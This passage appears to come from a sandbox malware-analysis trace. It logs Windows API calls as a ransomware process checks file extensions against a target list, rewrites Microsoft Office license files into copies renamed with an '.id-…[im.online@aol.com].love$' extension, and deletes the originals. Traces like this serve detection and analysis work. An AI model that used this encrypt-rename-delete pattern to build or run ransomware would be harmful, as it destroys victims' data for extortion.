[0264.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.290] lstrlenW (lpString=".dbf") returned 4 [0264.290] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.290] lstrlenW (lpString=".1cd") returned 4 [0264.290] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.290] lstrlenW (lpString=".jpg") returned 4 [0264.290] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.290] lstrlenW (lpString=".doc") returned 4 [0264.290] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.290] lstrlenW (lpString=".docx") returned 5 [0264.290] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.290] lstrlenW (lpString=".pdf") returned 4 [0264.291] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.291] lstrlenW (lpString=".xls") returned 4 [0264.291] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.291] lstrlenW (lpString=".xlsx") returned 5 [0264.291] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.291] lstrlenW (lpString=".ppt") returned 4 [0264.291] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.291] lstrlenW (lpString=".zip") returned 4 [0264.291] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.291] lstrlenW (lpString=".rar") returned 4 [0264.291] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.291] lstrlenW (lpString=".bz2") returned 4 [0264.291] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.291] lstrlenW (lpString=".7z") returned 3 [0264.291] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.292] lstrlenW (lpString=".dbf") returned 4 [0264.292] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.292] lstrlenW (lpString=".1cd") returned 4 [0264.292] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0264.292] lstrlenW (lpString=".jpg") returned 4 [0264.292] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.292] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.293] lstrlenW (lpString="HomeBusinessR_Retail-ppd.xrm-ms") returned 31 [0264.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0264.294] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=22091) returned 1 [0264.294] CloseHandle (hObject=0x534) returned 1 [0264.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0264.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0264.296] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.296] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0264.297] GetLastError () returned 0x0 [0264.297] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x564b, lpOverlapped=0x0) returned 1 [0264.642] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x5650, lpOverlapped=0x0) returned 1 [0264.644] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0264.644] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x112, lpOverlapped=0x0) returned 1 [0264.644] SetEndOfFile (hFile=0x3f4) returned 1 [0264.661] CloseHandle (hObject=0x3f4) returned 1 [0264.661] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.661] SetEndOfFile (hFile=0x534) returned 1 [0264.666] CloseHandle (hObject=0x534) returned 1 [0264.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1 [0264.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.668] lstrlenW (lpString=".doc") returned 4 [0264.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.668] lstrlenW (lpString=".docx") returned 5 [0264.668] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.668] lstrlenW (lpString=".pdf") returned 4 [0264.668] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.668] lstrlenW (lpString=".xls") returned 4 [0264.668] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.668] lstrlenW (lpString=".xlsx") returned 5 [0264.669] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.669] lstrlenW (lpString=".ppt") returned 4 [0264.669] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.669] lstrlenW (lpString=".zip") returned 4 [0264.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.669] lstrlenW (lpString=".rar") returned 4 [0264.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.669] lstrlenW (lpString=".bz2") returned 4 [0264.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.669] lstrlenW (lpString=".7z") returned 3 [0264.670] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.670] lstrlenW (lpString=".dbf") returned 4 [0264.670] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.670] lstrlenW (lpString=".1cd") returned 4 [0264.670] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.670] lstrlenW (lpString=".jpg") returned 4 [0264.670] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.671] lstrlenW (lpString=".doc") returned 4 [0264.671] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.671] lstrlenW (lpString=".docx") returned 5 [0264.671] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.671] lstrlenW (lpString=".pdf") returned 4 [0264.671] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.671] lstrlenW (lpString=".xls") returned 4 [0264.671] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.671] lstrlenW (lpString=".xlsx") returned 5 [0264.672] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.672] lstrlenW (lpString=".ppt") returned 4 [0264.672] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.672] lstrlenW (lpString=".zip") returned 4 [0264.672] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.672] lstrlenW (lpString=".rar") returned 4 [0264.672] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.672] lstrlenW (lpString=".bz2") returned 4 [0264.672] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.672] lstrlenW (lpString=".7z") returned 3 [0264.672] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.672] lstrlenW (lpString=".dbf") returned 4 [0264.672] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.672] lstrlenW (lpString=".1cd") returned 4 [0264.672] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0264.673] lstrlenW (lpString=".jpg") returned 4 [0264.673] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.673] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.673] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35 [0264.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0264.675] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19958) returned 1 [0264.675] CloseHandle (hObject=0x534) returned 1 [0264.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0264.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0264.676] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.677] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0264.678] GetLastError () returned 0x0 [0264.678] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4df6, lpOverlapped=0x0) returned 1 [0264.790] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4e00, lpOverlapped=0x0) returned 1 [0264.792] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0264.792] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11a, lpOverlapped=0x0) returned 1 [0264.794] SetEndOfFile (hFile=0x3f4) returned 1 [0264.806] CloseHandle (hObject=0x3f4) returned 1 [0264.806] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0264.807] SetEndOfFile (hFile=0x534) returned 1 [0265.203] CloseHandle (hObject=0x534) returned 1 [0265.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1 [0265.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.207] lstrlenW (lpString=".doc") returned 4 [0265.207] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.207] lstrlenW (lpString=".docx") returned 5 [0265.207] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.207] lstrlenW (lpString=".pdf") returned 4 [0265.207] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString=".xls") returned 4 [0265.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString=".xlsx") returned 5 [0265.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.208] lstrlenW (lpString=".ppt") returned 4 [0265.208] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.208] lstrlenW (lpString=".zip") returned 4 [0265.208] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString=".rar") returned 4 [0265.208] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString=".bz2") returned 4 [0265.208] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString=".7z") returned 3 [0265.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.208] lstrlenW (lpString=".dbf") returned 4 [0265.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.208] lstrlenW (lpString=".1cd") returned 4 [0265.208] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.209] lstrlenW (lpString=".jpg") returned 4 [0265.209] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.209] lstrlenW (lpString=".doc") returned 4 [0265.209] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.209] lstrlenW (lpString=".docx") returned 5 [0265.209] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.209] lstrlenW (lpString=".pdf") returned 4 [0265.209] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.209] lstrlenW (lpString=".xls") returned 4 [0265.209] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.209] lstrlenW (lpString=".xlsx") returned 5 [0265.209] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.209] lstrlenW (lpString=".ppt") returned 4 [0265.209] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.209] lstrlenW (lpString=".zip") returned 4 [0265.209] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.209] lstrlenW (lpString=".rar") returned 4 [0265.210] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.210] lstrlenW (lpString=".bz2") returned 4 [0265.210] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.210] lstrlenW (lpString=".7z") returned 3 [0265.210] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.210] lstrlenW (lpString=".dbf") returned 4 [0265.210] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.210] lstrlenW (lpString=".1cd") returned 4 [0265.210] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0265.210] lstrlenW (lpString=".jpg") returned 4 [0265.210] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.210] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.211] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31 [0265.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.212] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=10659) returned 1 [0265.212] CloseHandle (hObject=0x534) returned 1 [0265.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0265.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.214] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.214] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0265.216] GetLastError () returned 0x0 [0265.217] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x29a3, lpOverlapped=0x0) returned 1 [0265.220] WriteFile (in: hFile=0x568, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x29b0, lpOverlapped=0x0) returned 1 [0265.221] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0265.221] WriteFile (in: hFile=0x568, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x112, lpOverlapped=0x0) returned 1 [0265.222] SetEndOfFile (hFile=0x568) returned 1 [0265.222] CloseHandle (hObject=0x568) returned 1 [0265.222] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.222] SetEndOfFile (hFile=0x534) returned 1 [0265.231] CloseHandle (hObject=0x534) returned 1 [0265.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1 [0265.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.236] lstrlenW (lpString=".doc") returned 4 [0265.236] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.236] lstrlenW (lpString=".docx") returned 5 [0265.236] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.236] lstrlenW (lpString=".pdf") returned 4 [0265.236] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.237] lstrlenW (lpString=".xls") returned 4 [0265.237] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.237] lstrlenW (lpString=".xlsx") returned 5 [0265.237] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.237] lstrlenW (lpString=".ppt") returned 4 [0265.237] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.237] lstrlenW 